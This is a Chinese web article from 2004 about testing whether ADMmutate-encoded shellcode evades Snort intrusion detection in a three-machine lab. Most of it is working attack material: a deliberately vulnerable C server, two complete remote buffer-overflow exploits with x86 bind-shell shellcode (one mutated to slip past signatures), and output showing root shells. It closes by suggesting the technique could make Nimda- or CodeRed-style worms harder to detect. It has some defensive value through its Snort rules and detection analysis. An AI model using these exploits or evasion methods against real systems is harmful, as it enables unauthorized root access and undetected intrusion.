导航:业界 | 认证 | 工具 | 图形 | 技术 | 系统 | 网络 | 办公 | 网页 | 文摘 | 动画
您当前的位置:diva8.com -> I T -> 网络 -> 服务器 -> I T内容
栏目导航
· MSN专区 · QQ专区
· 网络技术 · 初学上网
· 网页浏览 · 病毒快报
· 防范措施 · 局域网专栏
· 网络安全 · 网络其他
· 系统安全 · 黑客天空
· 网关代理 · 服务器
热门I T
· [组图] 音频后期处理Adobe ...
· [组图] Photoshop--照片处理...
· [组图] 廉颇老矣?IE7.0 Bet...
· [图文] DuDu下载加速器推出...
· [组图] 清晰还原!Photoshop...
· [组图] 用photoshop给图片祛...
· [组图] DuDu 下载加速器试用...
· [组图] 新春特别版:PPLIVE...
· [图文] 让查找更方便些 腾讯...
· [组图] 廉颇老矣?IE7.0 Bet...
相关I T
· 用PERL实现一个简单...
· 利用adodb.stream直...
· 在ASP中利用ADO显示...
· 一个利用adsi得到局...
利用ADMmutate测试NIDS
作者:Admin  来源:齐昌网络  发布时间:2004-7-9 9:18:39  发布人:qichang

减小字体 增大字体



前言:
 
只是一个试验,用了三台机器,两台机器跑linux (vmware下的RedHat6.2,同事的机子,借用:)一台机器装NIDS(snort1.8-WIN32)
其中:
server IP: 192.168.100.170
client IP: 192.168.100.171
NIDS IP: 192.168.100.172

目的:
 想试试利用ADMmutate是否可以逃过NIDS的监视进行远程缓冲区溢出?NIDS是否可以通过配 置来发现这种攻击!

ADMmutate的介绍:

 这个程序的作者是k2,利用了名为多形态代码的技术,使攻击者能够潜在的改变代码结构来欺骗许 多入侵检测系统,但它不会破坏最初的攻击性程序。溢出程序经它一改,就可以摇身一变,而且由于采用了动态改变的技术,每次伪装的shellcode都不相同,本来ids依靠提取公开的溢出程序的特征码来检测报警,特征码变了后ids就检测不到了。

  伪装前的shellcode格式为:
  [NNNNNNNNNNNNN][SSSS][RRRR]
  伪装后的shellcode格式为:
  [nnnnnnn][dddd][ssss][rrrr]
  其中:
 N表示NOP,S表示shellcode,R表示返回地址;
 n表示经过编码的NOP,d为解码器,s表示经过编码的shellcode,r表示返回地址。
 
  (ADMmutate在k2的主页上有下载:
 http://www.ktwo.ca/c/ADMmutate-0.7.3.tar.gz)
 
测试过程:
 
(下面的程序涉及到远程缓冲区溢出,如不明白请看《高级缓冲区溢出下》或《怎样写远程缓冲区溢出漏洞利用程序 》)

1.服务器端运行有漏洞的服务器程序(vulnerable)
 //-------------有漏洞的服务器程序(vulnerable.c)-------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>


#define BUFFER_SIZE 1024
#define NAME_SIZE 2048


int handling(int c)

{
  char buffer[BUFFER_SIZE], name[NAME_SIZE];
  int bytes;
  strcpy(buffer, "My name is: ");
  bytes = send(c, buffer, strlen(buffer), 0);
  if (bytes == -1)
  return -1;
  bytes = recv(c, name, sizeof(name), 0);
  if (bytes == -1)
  return -1;
  name[bytes - 1]= '0';
  sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
  bytes = send(c, buffer, strlen(buffer), 0);
  if (bytes == -1)
  return -1;
  return 0;

}


int main(int argc, char *argv[])

{
  int s, c, cli_size;
  struct sockaddr_in srv, cli;
  if (argc != 2)
  {
 fprintf(stderr, "usage: %s port\n", argv[0]);
  return 1;
  }
  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == -1)
  {
  perror("socket() failed");
  return 2;
  }
  srv.sin_addr.s_addr = INADDR_ANY;
  srv.sin_port = htons( (unsigned short int) atol(argv[1]));
  srv.sin_family = AF_INET;
  if (bind(s, &srv, sizeof(srv)) == -1)
  {
  perror("bind() failed");
  return 3;
  }
  if (listen(s, 3) == -1)
  {
  perror("listen() failed");
  return 4;
  }
  for(;;)
  {
  c = accept(s, &cli, &cli_size);
  if (c == -1)
  {
  perror("accept() failed");
  return 5;
  }
  printf("client from %s", inet_ntoa(cli.sin_addr));
  if (handling(c) == -1)
  fprintf(stderr, "%s: handling() failed", argv[0]);
  close(c);
  }
  return 0;

}

-----------------------------------------------------------------------
server:~/ > gcc vulnerable.c -o vulnerable
server:~/ > ./vulnerable 5555&
 
 (现在该程序监听5555端口并等待连接)
 
2.安装NIDS的机器运行snort:
 D:\Tools\Defence\snort>snort -A fast -l log -c shellcode.rules
 其中:
 shellcode的规则包括:
 alert tcp any any -> any any (msg:"SHELLCODE x86 NOP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth: 128; reference:arachnids,181; classtype:bad-unknown; sid:648; rev:2;)
 //此规则主要通过对shellcode中的大量NOP进行判断
 alert tcp any any -> any any (msg:"SHELLCODE linux shellcode"; content:"/bin/sh";reference:arachnids,343; classtype:attempted-admin; sid:652; rev:2;)
 //此规则主要通过对shellcode中的字符串/bin/sh进行判断
 alert tcp any any -> any any (msg:"SHELLCODE x86 stealth NOP"; content: "|eb 02 eb 02 eb 02|"; reference:arachnids,291; classtype:bad-unknown; sid:651; rev:2;)
 //此规则主要通过对shellcode中的用来替换NOP的jmp 0x02(十六进制为eb 02)进行判断。采用eb 02替换NOP只要是为了躲避一些通过NOP来判断是否溢出的NIDS的检测。
 
3.客户端运行正常的远程缓冲区溢出程序exploit
//----------------- 正常的exploit.c ----------------------------------

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define SIZE 2048
#define NOPDEF 861

char shellcode[] =

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
(一个将shell绑定在3879(\x0f\x27\)端口的shellcode!)

unsigned long get_sp(void)
{
  __asm__("movl %esp,%eax");
}


int main(int argc, char *argv[])
{

  char buffer[SIZE];
  int s, i, size, offset;
  unsigned long addr;
  struct sockaddr_in remote;
  struct hostent *host;
  int nop=NOPDEF;

  if(argc != 4) {
  printf("Usage: %s target-ip port offset\n", argv[0]);
  return -1;
  }

  offset=atoi(argv[3]);
  addr=get_sp()-offset;
  printf("Jump to 0x%08x\n",addr);

  memset(buffer,0x90,SIZE);
  memcpy(buffer+nop,shellcode,strlen(shellcode));
  for (i = nop+strlen(shellcode); i < SIZE-4; i += 4){
  * ((unsigned long *) &buffer[i]) = addr;
  }
  buffer[2047] = 0x0;
  printf("%s\n",buffer);

  //getting hostname
  host=gethostbyname(argv[1]);
  if (host==NULL){
  fprintf(stderr, "Unknown Host %s\n",argv[1]);
  return -1;
  }

  // creating socket...
  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s < 0){
  fprintf(stderr, "Error: Socket\n");
  return -1;
  }

  //state Protocolfamily , then converting the hostname or IP address, and gettingport number
  remote.sin_family = AF_INET;
  remote.sin_addr = *((struct in_addr *)host->h_addr);
  remote.sin_port = htons(atoi(argv[2]));

  // connecting with destination host
  if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1){
  close(s);
  fprintf(stderr, "Error: connect\n");
  return -1;
  }

  //sending exploit string
  size = send(s, buffer, sizeof(buffer), 0);
  if (size==-1){
  close(s);
  fprintf(stderr, "sending data failed\n");
  return -1;
  }
  // closing socket
  close(s);

}
-------------------------------------------------------------------
client:~/ > gcc exploit.c -o exploit
client:~/> ./exploit 192.168.100.170 5555 200
Jump to 0xbffff220
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悏?也f壭1蓧薈塢鳦
塢鬕塎鼚M敉1蓧E鬋f塢靎荅?塎饙E靿EE鼔袓M敉壭CC蛝壭C蛝壝1刹?壭蛝壭A蛝隵?缊F塃
 
 ?
 
 夡崓U
 
 蛝桡/bin/sh
???????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????繍
client:~/># nc 192.168.100.170 3879
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

溢出成功!
检查snort日志结果:
10/13-15:59:09.745690[**] [1:648:2] SHELLCODE x86 NOP [**] [Classification: (null)] [Priority: 0] 192.168.100.171:1222 -> 192.168.100.170:5555

10/13-16:02:05.635598[**] [1:652:2] SHELLCODE linux shellcode [**] [Classification: (null)] [Priority: 0] 192.168.100.171:1225 -> 192.168.100.170:5555
(由于检测规则的先后顺序造成的!)

4.客户端运行伪装过的exploitk2
//-------- 伪装过的exploitk2.c ----------------------------------

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include "ADMmutapi.h"

#define SIZE 2048
#define NOPDEF 861

char shellcode[] =

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
  __asm__("movl %esp,%eax");
}


int main(int argc, char *argv[])
{

  char buffer[SIZE];
  int s, i, size, offset;
  unsigned long addr;
  struct sockaddr_in remote;
  struct hostent *host;
  int epad=8; /* a pad of at LEAST 8 is required for this sploit */
  int nop=NOPDEF;
  struct morphctl *mctlp;
  struct morphctl mut;
  mut.upper = 0;
  mut.lower = 0;
  mctlp = &mut;
  mut.banned=0;
  mut.arch = IA32;

  if(argc != 4) {
  printf("Usage: %s target-ip port offset\n", argv[0]);
  return -1;
  }

  offset=atoi(argv[3]);
  addr=get_sp()-offset;
  printf("Jump to 0x%08x\n",addr);

  memset(buffer,0x90,SIZE);
  memcpy(buffer+nop,shellcode,strlen(shellcode));
  for (i = nop+strlen(shellcode); i < SIZE-4; i += 4){
 * ((unsigned long *) &buffer[i]) = addr;
  }

  buffer[2047] = 0x0;
 
  init_mutate(mctlp); //初始化在mut.arch中指定的操作系统结构和功能的指针
  if(apply_key(buffer, strlen(shellcode)+epad, nop-1, mctlp) != 0){
 exit(1);
  } //生成key并用key对shellcode进行编码
  if(apply_jnops(buffer, nop-1, mut) != 0){
 exit(2);
  } //将NOP用其它的垃圾指令替代
  if(apply_engine(buffer, strlen(shellcode)+epad, nop-1, mut) != 0){
 exit(3);
  } //生成解码器
 
  printf("%s\n",buffer);

  //getting hostname
  host=gethostbyname(argv[1]);
  if (host==NULL){
  fprintf(stderr, "Unknown Host %s\n",argv[1]);
  return -1;
  }

  // creating socket...
  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s < 0){
  fprintf(stderr, "Error: Socket\n");
  return -1;
  }

  //state Protocolfamily , then converting the hostname or IP address, and getting port number
  remote.sin_family = AF_INET;
  remote.sin_addr = *((struct in_addr *)host->h_addr);
  remote.sin_port = htons(atoi(argv[2]));

  // connecting with destination host
  if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1){
  close(s);
  fprintf(stderr, "Error: connect\n");
  return -1;
  }

  //sending exploit string
  size = send(s, buffer, sizeof(buffer), 0);
  if (size==-1){
  close(s);
  fprintf(stderr, "sending data failed\n");
  return -1;
  }
 
  // closing socket
 close(s);

}
--------------------------------------------------------------------
client:~/ > gccexploitk2.c ADMmuteng.c -o exploitk2
client:~/> ./exploitk2 192.168.100.170 5555 300
Jump to 0xbffff18c
?挊?鯓@槜'鶙'7麫掶/掶@鶡/鶚??楡橎橓煉楡麫橖?/鼦/7'7??挊掯燑貔?7楑/??煙貔'鶚?棐鼧@/?'?7/
?@???橓'?/'鯒??鼟橖橓鯍@@@'????鯍掶貂/鴺鶙鴴橒/楖?@貘鼟??@掶/'7''?7鼧??楖?挓貔@7橖貔7魼7'7'煉7'7?
'鵁/'燍@@???鯚@?7??觞@?'?'?棙燍楑?/@7?貔貔/橒?楕?貔掶?????燍鯒@鯚''貂觞?烜貂鶡燉鼧7@?橓鴴
@棐鶚??????鯓燌橓'@鴴'?貔燉棗7?楕7鵃????鼟槜?'挊?7??掯燑?'橓?'鶙?'?槖鶚7@?'//????'?鶔?/楡7鯍?
鶚貂?鵃?'??'??貔鵃麫/魼楖?''鶚?掽@/桜'''鯚燉棙?貂棗'''@楡燌7掯掶?觞橓鯚'?/麫/鯓77'@?鴴7'???鯓7
鴹鯓?'貂/?鼦7槝貂鶡?/橖挓楖鶚//楕掶棢/7?楡煒楑貔'?鶙燉'7貂@/'煑鯒''鼧??'鴴槖7楛鯓?燑鯍
棙??貂??7?????@貘鶡7?燌鵃@?鶙@貘棗?7橎魼鴺@鶚?'@@?@?'?橓'燉''?貂煑?鶙?掵@@'7@楛?'槜?'?'抆凁
4'h??[內4楡1蓛?冟5?棑1搶罇@杻?兤朄杻柒閷桦枧?
 
  =唸?'?wgkwgkg{梗?催fqu壗弛夡鄃{公趂q皙叁?梗?磄娆w#秄洵鹢?&喲?鵱?u#?翱?喏gr榭?^=f莄{绻?"凑
藣]淺b菋b菋b?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉
?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繍
client:~/> nc 192.168.100.170 3879
id
uid=0(root) gid=0(root) 繉?繉?繉?繉?繉?繉?繉?繉?繍groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

溢出成功!
检查snort日志结果:
 NONE :(
 
可见经过K2的ADMmutate编码的shellcode不能被基于模式匹配的snort发现,难道一点办法也没有了?办法不是没有,但是可能。。。

5.添加一条规则:
alert tcp any any -> any :5555 (msg:"SHELLCODE x86 Length Too Large"; dsize:>1024;)
重新运行:
snort -A fast -l log -c shellcode.rules
然后运行:
./exploitk2 192.168.100.170 5555 300
检查snort日志结果:
10/13-16:09:49.811615[**] [1:0:0] SHELLCODE x86 Length Too Large [**] 192.168.100.171:1228 -> 192.168.100.170:5555

这种根据数据包长度来判断是否存在远程缓冲区溢出攻击的方法,只适合一些特定的端口,如80、53等,而且存在误报的可能。

6.重复多次攻击:
client:~/> ./exploitk2 192.168.100.170 5555 300
Jump to 0xbffff18c
煙楖????''烜燑楡//7燍'?7貘777鶡挓楑//?/?7//'?7'?橎''鼰?/'@燉?7/??7??燑/@??鯓@鶚/槝?@??挓?''鼦'@7?'?掶''鶔/橎燉????煉/@'?@掶'掽掶貘貘鼟??/??貘?/燉@魼棗鴴鼟?煉??????燌??//?鶙桜鼟??桜楑'??觞'鯚7楛'7??楑鯍'槜/7??@??鼟??楛煙?橓/掶7掶?楖掵??棐?@鯒?貔7??燌7鯓'鴴楑橓7?@棢槝/?掶鯓@'鶙鯓?楑?@'/?貘鯚?鵃/煉//鴹燑?@?7鵃?觞?烜鴴橒鶙7鴴/貔77掽?'棗/?橒桜?槜鼦'''掽??橎貔7槖/槝燍?鴹/楕7????棗?'?貔@?挊??掵鶔7?扏槦@'@燉鶡鼰楛@'/楖'鼰///?7烜@?鴴?槜''?橓?'鯒??貂拻??7??'?@7''貂?貔鯍?'鯚'?/煑鶚/掯挆?/'?7鯚楖鶡貘鵃''?貔燍7@扏麫橎'?@/貔7?7魼@?7鶚?鴴?/??'?7挊?@7貘?貔????@''挓/鶡??楑鯓鶡@777/?鶡鶙??@7??/?橓鯍貂?'棐@?冭4^囈寥6伙4??缿?1兤冭4朄?屶兤凐7鶘@杻?忏k?腓??
 =唸?'?wghwghgx梗?催黤qv壗迟夡鄃x公賔q螵叁?梗?磄瀣w#礷洵鴒?&喲?鵱?u#?凹?啧gr榧?^>f莄x绻?"粗藣]淺b膵b膵b?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉??繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繍
client:~/> ./exploitk2 192.168.100.170 5555 300
Jump to 0xbffff18c
7鯓鯓/?鯒槦挊?鶙''掶鶚/7煉?@棐@7?@?鯚棐?橓烜?'鶡??鵁棢??鼟鶚@??貘?'燍?'挓7掶/'?7?鯍@?棐鵁?鼟?楡掵???貂貔煒?橖?'鳣楑'鼧??@'?挊?'/7貂鯚?/挊@?@?麫鴴7?鴹@'楛鴴鴹?@楕/??鯚槖?/貂鴹貔槝燉槜觞7'煉魼?槝?煙7/楡掯'鵁@?'鴺鯚'?@'貂燍???煙燉???@鵁?鼟?'挆?'橎棐7'?鼰???貔@/7掽'/鶙?楖貂7@???棢掵@'7??掯?鵁橎''7?7??'觞?'7?@?/槜@@挊?鶙?鼧7??'貔槦燍@??楛魼??鵁?/掽貘燍?槝?掽7'烜'?'楖燉鶔/'觞?/?鼦''?'鯚挓?鼧7鼧麫魼貂鵃@?/拻/煑?楕@/?棙拻掯掶?橎?/?7鯚楛7?@'槜?'@??鯓'鯒7?貘楑鯓?挊/貂@?鶔貂鶙棗'楑/橎?扏/@?燍楖?'燉貔'?'??桜楖烜/7鵃??@燉棗'/掶??鶔'???/鶡@/?鶙??觞?楛扏?楑?7???煙鵃鶙燌橎挓'鶚?掯掯?燍???麫煑?/煙@?'鼰?7?鶙@'橓'??挆貘'?/桜?^??冟5屶1缿鯓??1朄枟槚@柫?朄杒?朄桏轩忮?霕杵?
 =噲?'?vgivgigy福?颠齠pw壖池夠鄃y斧豧p颡绳?福?礸洮v#磃瀛鵲?&囇?鴑?t#?敖?唪gs榻?^?f芻y绺?"底蕗奲艎b?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繍

可见用K2的ADMmutate伪装的shellcode是动态改变的。

结论:
 后来又试了一种基于协议分析、命令解释、模式匹配,异常状态统计的新一代的NIDS,存 在同样的问题,应该说经过K2的ADMmutate伪装的shellcode可以逃过使用模式匹配并且利用字符串匹配的大部分NIDS!不过如果NIDS还依靠长度,可打印字符等等综合判断,则ADMmutate还是不能逃脱NIDS的监视,但是依靠长度、可打印字符等判断未必准确,以此判断会造成IDS漏报或误报。如果依靠提取溢出程序的shellcode代码中的解码器的特征码,又因为解码器也不是固定的,并且会有一些无用的垃圾指令填充,因此有很大难度;至于用NOP匹配的办法,也很有难度,因为可以替换NOP的指令有很多,而且长度不同,采用暴力破解的话,会大大增加NIDS的负担,影响其性能;用匹配shellcode的办法更不可行,因为shellcode的key由当前时间产生,每次编码后的shellcode都是唯一的。所以,对于使用模式匹配的NIDS来说,目前仍只能通过长度等简单的判断,对于有一些NIDS,也许可以通过模拟执行的方式检测!

 
待补充:
 可惜没有试试其它的NIDS!遗憾!:(
 有关ADMmutate更详细的资料还没整理好!:(
 
一点想法:

 在windows下的溢出应该也可以采用这种办法。如果将whisker和ADMmutate采用的技术结合起来, 或是利用它们的想法,应该可以写出更加隐蔽并且更厉害的攻击程序和蠕虫。如把Nimda或CodeRed改良一下,也许会更隐蔽更难以检测!
 
参考资料:

  ADMmutate-0.7.3的相关资料
 怎样写远程缓冲区溢出漏洞利用程序



[] [返回上一页] [打 印] [收 藏]
∷相关I T评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 在线人数:
diva8.com Copyright © 2001-2006 diva8.com All Rights Reserved .粤ICP备05014750号